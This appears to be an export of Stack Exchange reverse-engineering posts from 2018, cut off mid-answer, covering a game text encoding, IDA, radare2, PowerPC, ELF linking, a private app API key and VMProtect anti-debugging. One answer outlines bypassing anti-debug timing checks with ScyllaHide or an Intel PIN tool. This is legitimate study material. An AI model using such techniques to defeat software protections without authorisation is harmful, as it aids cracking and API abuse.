  <row Id="20105" PostTypeId="1" CreationDate="2018-12-10T10:14:49.053" Score="1" ViewCount="252" Body="&lt;p&gt;I am trying to get to know how Nextbike's API works. It's not a public API but capturing the outgoing traffic with my phone I can see all the traffic and endpoints that are being contacted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've stumbled upon a problem where the app calls the API and it uses an API key. That key hasn't been shared before and I don't know how it's calculated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even before attempting to log-in the phone makes some requests with the key. They key is of the form  &lt;code&gt;TR6EHaaNTSFGFmMt&lt;/code&gt;, with 16 characters. My problem comes here, is it randomly generated? Is it a hash of the IMEI/MAC Address? Is it possible to reverse it or know more or less how it's created? How can I know which hash function has been used?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My knowledge on cryptographic functions is still a bit limited.&lt;/p&gt;&#xA;" OwnerUserId="26675" LastEditorUserId="245" LastEditDate="2018-12-12T14:12:04.807" LastActivityDate="2020-06-01T16:03:20.340" Title="Reverse engineering Nextbike API and random 16 character pre-shared key" Tags="|hash-functions|api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20106" PostTypeId="1" CreationDate="2018-12-10T10:45:15.687" Score="3" ViewCount="4596" Body="&lt;p&gt;I recently found a nice crackme which uses VMProtect 3.x as defense.&#xA;After doing a little research online I found couple of API's VMProtect uses as an anti debug method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I set software breakpoint on those functions but unfortunately I somehow don't hit them.&#xA;I'm 100% sure the APIs are getting called during the the running of the program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The APIs including (&lt;code&gt;CheckRemoteDebuggerPresent&lt;/code&gt;, &lt;code&gt;IsDebuggerPresent&lt;/code&gt;, etc...).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone knows what is the reason to that or what evasion method VMProtect uses I would be more then happy if they could share it.&lt;/p&gt;&#xA;" OwnerUserId="26676" LastEditorUserId="245" LastEditDate="2018-12-12T14:09:56.900" LastActivityDate="2018-12-12T14:09:56.900" Title="VMProtect anti-debug method" Tags="|anti-debugging|packers|vmprotect|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20107" PostTypeId="2" ParentId="11601" CreationDate="2018-12-10T11:02:23.483" Score="1" Body="&lt;p&gt;Have got the same error as in your other path, but with ESP register:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Python&amp;gt; GetRegValue('ESP')&#xA;&#xA;File &quot;C:\Program Files (x86)\IDA 6.8\python\idc.py&quot;, line 7889, in GetRegValue&#xA;    assert res, &quot;get_reg_val() failed, bogus register name ('%s') perhaps?&quot; % name&#xA;AssertionError: get_reg_val() failed, bogus register name ('ESP') perhaps?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my case the reason of this was running Static Analysis session. Just started Debugging, then Suspend manually or by BP, and GetRegVal() works fine.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Python&amp;gt; GetRegValue('ESP')&#xA;1232116&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="26608" LastActivityDate="2018-12-10T11:02:23.483" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20109" PostTypeId="1" AcceptedAnswerId="20110" CreationDate="2018-12-10T12:10:56.433" Score="13" ViewCount="4489" Body="&lt;p&gt;So I'm trying to hack the translation from the PS4 version of a game into the Vita version. The script files were conveniently uncompressed, and I was able to drop them in and have it working without a hitch - great!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, various other message files and quest summaries and the like are not so convenient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a comparison of two files in a hex editor:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/iih4q.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iih4q.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At first I thought it was a simple byte-pair compression, but there's obviously more to it than that, because if you look at the places which correspond to &quot;Let's go!&quot; and &quot;Let's do this!&quot; they don't start with the same string of characters at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I uploaded the PS4/Vita versions of a file with rather more readable text:&#xA;&lt;a href=&quot;https://www.dropbox.com/s/bw0nvexyi9ww2be/hm%20vita?dl=0&quot; rel=&quot;noreferrer&quot;&gt;https://www.dropbox.com/s/bw0nvexyi9ww2be/hm%20vita?dl=0&lt;/a&gt;&#xA;&lt;a href=&quot;https://www.dropbox.com/s/sk74zadvndc8v9t/hm%20ps4?dl=0&quot; rel=&quot;noreferrer&quot;&gt;https://www.dropbox.com/s/sk74zadvndc8v9t/hm%20ps4?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Going through it and looking for common and recurring words, I found this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Goblin Thief&#xA;´0Ö0ê0ó0·0ü0Õ0&#xA;B430 D630 EA30 F330 B730 FC30 D530&#xA;&#xA;Goblin Thief Archer&#xA;´0Ö0ê0ó0·0ü0Õ0¢0ü0Á0ã0ü0&#xA;B430 D630 EA30 F330 B730 FC30 D530 A230 FC30 C130 E330 FC30&#xA;&#xA;Ancient Grief&#xA;¨0ó0·0§0ó0È0°0ê0ü0Õ0&#xA;A830 F330 B730 A730 F330 C830 B030 EA30 FC30 D530&#xA;&#xA;Grief Screamer&#xA;°0ê0ü0Õ0¹0¯0ê0ü0Þ0ü0&#xA;B030 EA30 FC30 D530 B930 AF30 EA30 FC30 DE30 FC30&#xA;&#xA;Grief&#xA;EA30 FC30 D530&#xA;&#xA;Thief&#xA;B730 FC30 D530&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you can see that FC30 D530 is &quot;ief&quot;.&#xA;But then I look for more occurences of &quot;gr&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Deep Grudge&#xA;Ç0£0ü0×0°0é0Ã0¸0&#xA;C730 A330 FC30 D730 B030 E930 C330 B830&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And you don't see the EA30 that starts off &quot;Grief&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a feeling FC30 could be some kind of switch byte, either an upper case indication or possibly marking the use of some kind of lookup table? It's also interesting that all the lines which are just objectives/boss names have the --30 structure, but some of the descriptive passages don't seem to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The additional problem, of course, is that the uncompressed English text from the PS4 version &lt;em&gt;won't&lt;/em&gt; be a 100% perfect match for the text from the Vita version -- that's the whole point, after all! So even when I look at the name &quot;Deep Grudge&quot; and notice that I don't see anything which looks like it would correspond to the &quot;Gr&quot; from &quot;Grief&quot;, I can't be &lt;em&gt;certain&lt;/em&gt; that they didn't change the name in the PS4 version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any suggestions on how I should be approaching this? If I'm right and there's actually some kind of compressed lookup table business going on, then it might be effectively impossible to reverse, right?&lt;/p&gt;&#xA;" OwnerUserId="26678" LastActivityDate="2018-12-10T14:03:39.997" Title="How should I approach reverse engineering this text encoding?" Tags="|encodings|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20110" PostTypeId="2" ParentId="20109" CreationDate="2018-12-10T14:03:39.997" Score="25" Body="&lt;p&gt;The way you can learn this encoding is to study Japanese.  :)  From the first line of your text file diff, we can see that this on the left:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1131 3210 3130 3330 1021 0000 0000 0000  .12.1030.!......&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Translates to this on the right:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1100 3100 3200 1000 3100 3000 3300 3000  ..1.2....1.0.3.0.&#xA;1000 01ff 0000 0000 0000 0000 0000 0000  .................&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is a very strong hint that the file on the left is using an 8-bit encoding and that the one on the right is using a 16-bit encoding.  The digits are translated in a very straightforward way, but the exclamation point (&quot;!&quot;) is &lt;code&gt;0x21&lt;/code&gt; in ASCII or UTF-8 but &lt;code&gt;0x01ff&lt;/code&gt; is the Unicode &quot;fullwidth exclamation mark&quot; encoded as UCS-2 (that is, UTF-16 encoded as little-endian).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So with the hint about encoding we can see that the hex you've identified as &quot;Goblin Thief&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;b430 d630 ea30 f330 b730 fc30 d530&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is rendered as ゴブリンシーフ which is the Katakana representation of the English words &quot;Goblin Thief&quot;.  It's common for Japanese speakers to render foreign words into phonetic equivalents with &lt;a href=&quot;https://en.wikipedia.org/wiki/Katakana&quot; rel=&quot;noreferrer&quot;&gt;Katakana&lt;/a&gt;.  So taking it syllable-by-syllable we have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ゴ  go&#xA;ブ  bu&#xA;リ  ri&#xA;ン  n&#xA;シ  shi&#xA;ー  (extended vowel)&#xA;フ  fu&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So if we say it aloud, &quot;go bu ri n shi-i fu&quot; sounds like &quot;Goblin Thief&quot; as pronounced by a native Japanese speaker.  You can try &lt;a href=&quot;https://translate.google.com/?hl=en&amp;amp;tab=TT#view=home&amp;amp;op=translate&amp;amp;sl=ja&amp;amp;tl=en&amp;amp;text=%E3%82%B4%E3%83%96%E3%83%AA%E3%83%B3%E3%82%B7%E3%83%BC%E3%83%95&quot; rel=&quot;noreferrer&quot;&gt;Google translate&lt;/a&gt; to experiment a bit more and to see and hear what this sounds like.  &lt;/p&gt;&#xA;" OwnerUserId="3557" LastActivityDate="2018-12-10T14:03:39.997" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="20111" PostTypeId="2" ParentId="20074" CreationDate="2018-12-10T14:44:14.327" Score="3" Body="&lt;p&gt;IDA, while loading ELF file, will choose only one name and use if for specific address, because there's no way for IDA to have multiple names for on address. So you'll have to invent something to extend IDA loader for elf files, to make it somehow store the alternative names for the address.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-12-10T14:44:14.327" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20112" PostTypeId="1" AcceptedAnswerId="20119" CreationDate="2018-12-10T18:29:13.290" Score="1" ViewCount="3795" Body="&lt;p&gt;I took the following C code and compiled it on Ubuntu 16.04 with GCC 5.4.0:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int main() {&#xA;  int a = 0;&#xA;  for (int i = 0; i &amp;lt; 5; i++) {&#xA;    switch (i) {&#xA;      case 0:&#xA;        a = 1;&#xA;        break;&#xA;      case 1:&#xA;        a = 2;&#xA;        break;&#xA;      case 2:&#xA;        a = 3;&#xA;        break;&#xA;      case 3:&#xA;        a = 4;&#xA;        break;&#xA;      case 4:&#xA;        a = 5;&#xA;        break;&#xA;      default:&#xA;        a = 6;&#xA;        break;&#xA;    }&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I compiled this as a PIE binary with this command: &lt;code&gt;gcc -pie -fPIE test.c&lt;/code&gt;. You can see the disassembly in IDA 6.95 below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/O7mNx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/O7mNx.png&quot; alt=&quot;disassembly&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that IDA was not able to identify the switch statement. Because I compiled this as PIE, the table located at 0x824 does not contain the absolute addresses to jump to, but the signed relative offsets:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.rodata:0000000000000824 ; signed int dword_824[5]&#xA;.rodata:0000000000000824 dword_824       dd 0FFFFFF2Ah, 0FFFFFF33h, 0FFFFFF3Ch, 0FFFFFF45h, 0FFFFFF4Eh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried to specify that this is a switch statement by going to &lt;code&gt;Edit -&amp;gt; Other -&amp;gt; Specify Switch Idiom&lt;/code&gt;, but IDA still isn't able to figure it out. For example, this is one set of values I tried:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/G2ekP.png&quot; width=&quot;500&quot; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried a couple different permutations of configuration options here, but I couldn't get anything to work. What exactly do I need to do to teach IDA about this switch statement?&lt;/p&gt;&#xA;" OwnerUserId="3434" LastEditorUserId="3434" LastEditDate="2018-12-11T07:58:13.533" LastActivityDate="2018-12-11T07:58:13.533" Title="How can I make IDA understand this switch statement with a signed jump table?" Tags="|ida|disassembly|decompilation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20113" PostTypeId="1" CreationDate="2018-12-10T19:44:47.563" Score="2" ViewCount="439" Body="&lt;p&gt;There are three simple instructions from Power PC assembly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mr. r7, r3&#xA;li r3, 0&#xA;beqlr&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Well, if i understand here all lines correctly, i move value from register &lt;code&gt;r3&lt;/code&gt; to &lt;code&gt;r9&lt;/code&gt;, load &lt;code&gt;r3&lt;/code&gt; with &lt;code&gt;0&lt;/code&gt; and jump to address from LR (link register); dot near &lt;code&gt;mr&lt;/code&gt; instruction means that i load &lt;code&gt;cr0&lt;/code&gt; with information of the result of operation but what will be the value of &lt;code&gt;cr0&lt;/code&gt; after moving &lt;code&gt;r3&lt;/code&gt; to &lt;code&gt;r9&lt;/code&gt;? and what is the condition under what i jump to the address in LR? &lt;/p&gt;&#xA;" OwnerUserId="26686" LastEditorUserId="245" LastEditDate="2018-12-10T19:56:49.557" LastActivityDate="2024-02-25T01:02:45.230" Title="moving info from one register to another using dot, powerpc" Tags="|powerpc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20114" PostTypeId="1" CreationDate="2018-12-10T19:57:28.573" Score="3" ViewCount="497" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Radare2 doesn't update current address, when single-step debugging using &lt;code&gt;ds&lt;/code&gt;?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm debugging an ELF binary on Linux using single-step (&lt;code&gt;ds&lt;/code&gt;). The problem is that the current address at the prompt doesn't update after each step.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The prompt:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yxvOx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yxvOx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I make Radare2 update the prompt to reflect the current value of EIP?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, is it possible to make Radare2 automatically disassemble the next instruction after each &lt;code&gt;ds&lt;/code&gt;, like it is possible with GDB?&lt;/p&gt;&#xA;" OwnerUserId="25753" LastEditorUserId="25753" LastEditDate="2018-12-11T07:46:44.430" LastActivityDate="2019-12-18T19:01:15.230" Title="Radare2 doesn't update current address, when single-step debugging using `ds`?" Tags="|debugging|radare2|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20117" PostTypeId="2" ParentId="6933" CreationDate="2018-12-11T06:00:25.237" Score="2" Body="&lt;p&gt;A little bit later but to set a string variable you should try this&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;gdb set var string_variable = 'new_string_variable'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Character numbers must be the same for the two variable definitions, in order to apply the change as appropriate. Quotes need to be applied to new variable.&lt;/p&gt;&#xA;" OwnerUserId="26697" LastActivityDate="2018-12-11T06:00:25.237" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20118" PostTypeId="2" ParentId="20114" CreationDate="2018-12-11T07:13:20.427" Score="0" Body="&lt;p&gt;What you can do is to use &lt;code&gt;pd&lt;/code&gt; with the temporary seek operator &lt;code&gt;@&lt;/code&gt; passing &lt;code&gt;rip&lt;/code&gt; register so that &lt;code&gt;pd&lt;/code&gt; will work from that address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So instead of &lt;code&gt;pd&lt;/code&gt; just use &lt;code&gt;pd@rip&lt;/code&gt; and you should be fine with that.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; pd&#xA;    ;-- rsi:&#xA;    0x00000000      ff             invalid&#xA;    ...&#xA;&#xA;&#xA;[0x00000000]&amp;gt; pd@rip&#xA;    ;-- rip:&#xA;    ┌─&amp;gt; 0x10000b3bf      4c892424       mov qword [rsp], r12&#xA;    ╎   0x10000b3c3      4489ea         mov edx, r13d&#xA;    ╎   0x10000b3c6      4c89f9         mov rcx, r15&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Additionally you can use the &lt;code&gt;V!&lt;/code&gt;-mode (or any other graphical view mode for that matter) view for debugging. They get automatically updated after you step over your binary.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2018-12-11T07:13:20.427" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20119" PostTypeId="2" ParentId="20112" CreationDate="2018-12-11T07:56:51.343" Score="3" Body="&lt;p&gt;I figured it out. Here's how the configuration should look, the important things are setting &quot;element base value&quot; to the offset of the jump table and checking &quot;Signed jump table elements&quot;. Also, if you don't have the &quot;Input register of switch&quot; set to the right register, your graph view will look fine but decompilation will fail with &quot;switch analysis failed&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dK5Yx.png&quot; width=&quot;500&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="3434" LastActivityDate="2018-12-11T07:56:51.343" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20120" PostTypeId="1" AcceptedAnswerId="20121" CreationDate="2018-12-11T08:08:17.577" Score="3" ViewCount="1540" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How to make Radare2 automatically disassemble next instruction after each &lt;code&gt;ds&lt;/code&gt; debug single-step?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I thought that &lt;code&gt;e asm.bytes=1&lt;/code&gt; would achieve this, but that doesn't help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In particular, GDB supports disassembling the next instruction after each debug single-step, so I guess this should be possible with Radare2 as well.&lt;/p&gt;&#xA;" OwnerUserId="25753" LastActivityDate="2018-12-11T12:48:01.697" Title="How to make Radare2 automatically disassemble next instruction after each `ds` debug single-step?" Tags="|debugging|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20121" PostTypeId="2" ParentId="20120" CreationDate="2018-12-11T12:48:01.697" Score="3" Body="&lt;p&gt;If you want to execute another command after doing &lt;code&gt;ds&lt;/code&gt; you can simply use &lt;code&gt;;&lt;/code&gt; to add a new command. So for example, the command &lt;code&gt;ds; pd 1 @ rip&lt;/code&gt; will step one instruction and disassemble the instruction at &lt;code&gt;rip&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also define a macro (an alias) for a set of commands. Let's define for example the macro &lt;code&gt;foo&lt;/code&gt; to do the following things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Single step&lt;/li&gt;&#xA;&lt;li&gt;Print hexdump of 16 bytes at &lt;code&gt;rip&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Disassemble 1 instruction at &lt;code&gt;rip&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;To do this you can simply run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x7f46fea5ee00]&amp;gt; (foo, ds, px 16 @ rip, pd 1 @ rip)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then use it with &lt;code&gt;.(foo)&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x7f46fea5ee00]&amp;gt; .(foo)&#xA;- offset -       0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF&#xA;0x7f46fea5ee1a  89c0 48c1 e220 4809 c248 8b05 0e70 0200  ..H.. H..H...p..&#xA;            ;-- rip:&#xA;            0x7f46fea5ee1a      89c0           mov eax, eax&#xA;&#xA;[0x7f46fea5ee00]&amp;gt; .(foo)&#xA;- offset -       0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF&#xA;0x7f46fea5ee1c  48c1 e220 4809 c248 8b05 0e70 0200 4889  H.. H..H...p..H.&#xA;            ;-- rip:&#xA;            0x7f46fea5ee1c      48c1e220       shl rdx, 0x20&#xA;&#xA;[0x7f46fea5ee00]&amp;gt; .(foo)&#xA;- offset -       0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF&#xA;0x7f46fea5ee20  4809 c248 8b05 0e70 0200 4889 156f 6802  H..H...p..H..oh.&#xA;            ;-- rip:&#xA;            0x7f46fea5ee20      4809c2         or rdx, rax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Visual Modes&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, after all this was said, I want to add that in my opinion, interactive debugging using &lt;code&gt;ds&lt;/code&gt;, &lt;code&gt;dso&lt;/code&gt;, &lt;code&gt;dc&lt;/code&gt; and similar are the wrong approach. For a debugging session, it is preferred to use the Visual Modes of radare2. Visual Panels mode is ideal for debugging session but you can also enjoy from a good experience while using the regular Visual and Visual Graph modes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following GIF shows the Visual Panels mode (&lt;code&gt;V!&lt;/code&gt;) as well as the regular Visual mode. You can also see that by pressing &lt;code&gt;:&lt;/code&gt; I can execute radare2 commands (in the gif I executed &lt;code&gt;px&lt;/code&gt;). Visual Panels mode is very configurable and you can tweak it as you see fit. Simply use the &lt;code&gt;?&lt;/code&gt; key to see the help and the available commands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xj7Y2.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xj7Y2.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Read more:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://radare.gitbooks.io/radare2book/visual_mode/intro.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Visual Modes | r2 book&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://radare.gitbooks.io/radare2book/visual_mode/visual_panels.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Visual Panels Mode | r2book&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://radare.gitbooks.io/radare2book/scripting/macros.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Macros | r2book&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2018-12-11T12:48:01.697" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20123" PostTypeId="2" ParentId="20106" CreationDate="2018-12-11T21:59:28.250" Score="9" Body="&lt;p&gt;VMProtect uses a few anti-debug techniques. Firstly, you aren't going to want to tackle them on your own because there is quite and exhaustive set of techniques to detect a debugger. Consider using an anti-anti-debug plugin (ScyllaHide)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One you are probably going to encounter that is difficult to work around is the rdtsc instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;rdtsc essentially allows the application to measure time that has elapsed in-between a series of instructions executing. The stepping behavior of a debugger will make this period of time large and thus trigger a detection that a debugger is present via some application logic. With heavy code obfuscation there is no way you can manually work around these. You will need to use find some automated approach (however, since rdtsc is not a privileged instruction getting around this can be a huge pain.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best approach here is probably write a custom Intel PIN tool to modify the CPU state as the instruction is used (see &lt;a href=&quot;https://github.com/jingpu/pintools/blob/master/source/tools/InstLib/time_warp.H&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/jingpu/pintools/blob/master/source/tools/InstLib/time_warp.H&lt;/a&gt; ). There are other approaches too (including using a kernel level driver, but IIRC this approach can be very slow and difficult to get working.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as overall the approach you take with VMProtect, the obfuscation is quite complex and if you have never devirtualized code before than you're going to want to try a simple VM first. Devirtualizing code and reverse engineering Virtual Machines, especially ones as obfuscated as VMProtect, can be a project that takes week.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also VMProtect has multiple different VM &quot;archetypes&quot; per-se. There are some simpler VMs with heavier obfuscation in other areas and some very heavy-weight VMs or multiple layers of vitualization. So it is definitely not a project you want to approach without understanding practical applications of other code obfuscation techniques (control flow flattening, false predicates, and virtualization)&lt;/p&gt;&#xA;" OwnerUserId="23370" LastEditorUserId="23370" LastEditDate="2018-12-11T22:05:18.493" LastActivityDate="2018-12-11T22:05:18.493" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20124" PostTypeId="2" ParentId="20100" CreationDate="2018-12-12T05:20:03.427" Score="7" Body="&lt;p&gt;To answer your question, let us first set a solid ground in terms of entities and definitions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt;ELF&lt;/b&gt; stands for &quot;Executable and Linkable format&quot;. &lt;br /&gt;&#xA;That is, it defines the structure and shape of two types of files:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Executables (Shared Objects *.so and stand-alone executables)&lt;/li&gt;&#xA;&lt;li&gt;Linkables (Object files *.o)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Let us focus on executables.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Dependencies resolution of executables&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Among other things, &lt;b&gt;ELF&lt;/b&gt; defines a method of describing and resolving dependencies of executable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Dependencies&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Put simple, dependencies are required external symbols. &#xA;Symbols are named (identified) chunks of memory.&#xA;Some of the chunks are data chunks (Global variables) while others are code-data chunks (Global functions). &#xA;Since a symbol is a part of a module (aka Shared Object), any required symbol is coupled with a module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In summary, dependencies are needed symbols and modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note that a function that is a part of an OS API could be and usually is an external symbol. However, it's not always the case.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Dependencies description&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ELF defines a structure called Dynamic Segment used to store information needed by the loader (aka dynamic linker) in the loading process of an executable.&#xA;An executable's dependencies description is stored in its Dynamic Segment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Needed symbols are organized in a table called Dynamic Symbol Table that's referred by the Dynamic Segment:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/83QbD.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/83QbD.png&quot; alt=&quot;]&quot;&gt;&lt;/a&gt;&#xA;&lt;em&gt;Reference to a symbol table under Loader directives- &lt;a href=&quot;https://elfy.io/KYze4&quot; rel=&quot;noreferrer&quot;&gt;https://elfy.io/KYze4&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A dynamic symbol table is a contiguous array of symbol descriptors:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TBgqq.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TBgqq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;em&gt;.dynsym under Symbols - &lt;a href=&quot;https://elfy.io/KYze4&quot; rel=&quot;noreferrer&quot;&gt;https://elfy.io/KYze4&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Needed modules on the other hand are described directly with DT_NEEDED 